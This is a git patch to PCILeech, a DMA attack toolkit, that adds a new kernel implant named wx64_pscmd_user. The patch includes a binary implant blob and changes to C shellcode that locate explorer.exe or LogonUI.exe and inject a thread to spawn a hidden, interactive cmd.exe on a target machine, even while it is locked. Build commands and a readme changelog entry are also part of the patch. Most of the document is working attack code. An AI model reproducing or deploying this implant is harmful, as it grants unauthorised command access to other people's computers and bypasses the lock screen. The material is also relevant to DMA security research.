From a8f9bfc79d50388ebd84f634aa4e4b787e7e2f30 Mon Sep 17 00:00:00 2001 From: ufrisk Date: Thu, 29 Sep 2016 23:10:14 +0200 Subject: [PATCH] new implant: spawn cmd in user context [wx64_pscmd_user] --- pcileech_files/wx64_pscmd_user.ksh | Bin 0 -> 8104 bytes pcileech_shellcode/wx64_pscreate.c | 17 ++++++++++++++--- readme.md | 3 +++ 3 files changed, 17 insertions(+), 3 deletions(-) create mode 100644 pcileech_files/wx64_pscmd_user.ksh diff --git a/pcileech_files/wx64_pscmd_user.ksh b/pcileech_files/wx64_pscmd_user.ksh new file mode 100644 index 0000000000000000000000000000000000000000..f57787695f7e597e6c0909906c841883e0ef4998 GIT binary patch literal 8104 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 literal 0 HcmV?d00001 diff --git a/pcileech_shellcode/wx64_pscreate.c b/pcileech_shellcode/wx64_pscreate.c index 4538b66..4d0b71d 100644 --- a/pcileech_shellcode/wx64_pscreate.c +++ b/pcileech_shellcode/wx64_pscreate.c @@ -12,9 +12,15 @@ // // ALTERNATIVELY (wx64_pscmd): // cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c -// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel /D_PSCMD wx64_pscreate.c +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel /D_PSCMD /D_PSCMD_SYSTEM wx64_pscreate.c // ml64 wx64_common_a.asm /Fewx64_pscmd.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_pscreate.obj wx64_common.obj // shellcode64.exe -o wx64_pscmd.exe "PROCESS CREATOR - AUTOMATICALLY SPAWN CMD.EXE ON TARGET! \n================================================================\nAutomatically spawn a CMD.EXE on the target system. This utility\nonly work if the target system is locked and the login screen is\nvisible. If it takes time waiting - then please touch any key on\nthe target system. If the utility fails multiple times, please\ntry wx64_pscreate instead. \n===== DETAILED INFORMATION AFTER PROCESS CREATION ATTEMPT ======%s\nNTSTATUS : 0x%08X \nADDITIONAL INFO : 0x%04X \n================================================================\n" +// +// ALTERNATIVELY (wx64_pscmd_user): +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel /D_PSCMD /D_PSCMD_USER wx64_pscreate.c +// ml64 wx64_common_a.asm /Fewx64_pscmd_user.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_pscreate.obj wx64_common.obj +// shellcode64.exe -o wx64_pscmd_user.exe "PROCESS CREATOR - AUTOMATICALLY SPAWN CMD.EXE AS USER ON TARGET! \n================================================================\nAutomatically spawn a CMD.EXE on the target system. This utility\nwill spawn a cmd.exe in the context of a random logged on user.\nThis will work even though the computer may be locked. If this\nutility fails multiple times, please try wx64_pscreate instead. \n===== DETAILED INFORMATION AFTER PROCESS CREATION ATTEMPT ======%s\nNTSTATUS : 0x%08X \nADDITIONAL INFO : 0x%04X \n================================================================\n" #include "wx64_common.h" #define MAGIC_WAIT_WORD 0x01234123412341234 @@ -717,13 +723,18 @@ VOID c_EntryPoint(_In_ PKMDDATA pk) KERNEL_FUNCTIONS2 fnk2; InitializeKernelFunctions(pk->AddrKernelBase, &fnk); InitializeKernelFunctions2(pk->AddrKernelBase, &fnk2); +#ifdef _PSCMD_SYSTEM + CHAR szBINARY[] = { 'L', 'o', 'g', 'o', 'n', 'U', 'I', '.', 'e', 'x', 'e', 0 }; +#endif _PSCMD_SYSTEM +#ifdef _PSCMD_USER + CHAR szBINARY[] = { 'e', 'x', 'p', 'l', 'o', 'r', 'e', 'r', '.', 'e', 'x', 'e', 0 }; +#endif _PSCMD_USER #ifdef _PSCMD - CHAR szLOGONUI[] = { 'L', 'o', 'g', 'o', 'n', 'U', 'I', '.', 'e', 'x', 'e', 0 }; CHAR szCMD[] = { 'c', ':', '\\', 'w', 'i', 'n', 'd', 'o', 'w', 's', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'c', 'm', 'd', '.', 'e', 'x', 'e', 0 }; pk->dataIn[1] = 0x08000000; // hidden window pk->dataIn[2] = 1; // interactive pk->dataIn[4] = 1; // multi thread hijack (boost) - pk->dataOut[0] = GetPidFromPsName(&fnk, &fnk2, szLOGONUI, &pk->dataIn[0]); + pk->dataOut[0] = GetPidFromPsName(&fnk, &fnk2, szBINARY, &pk->dataIn[0]); if(pk->dataOut[0]) { pk->dataOut[1] = 0x101; return; diff --git a/readme.md b/readme.md index 889c2e2..0f5a501 100644 --- a/readme.md +++ b/readme.md @@ -133,3 +133,6 @@ v1.2 * signature: Windows 10 updated. * signature: macOS Sierra added. * other: various bug fixes and stability improvements. + +latest +* new implant: spawn cmd in user context [wx64_pscmd_user]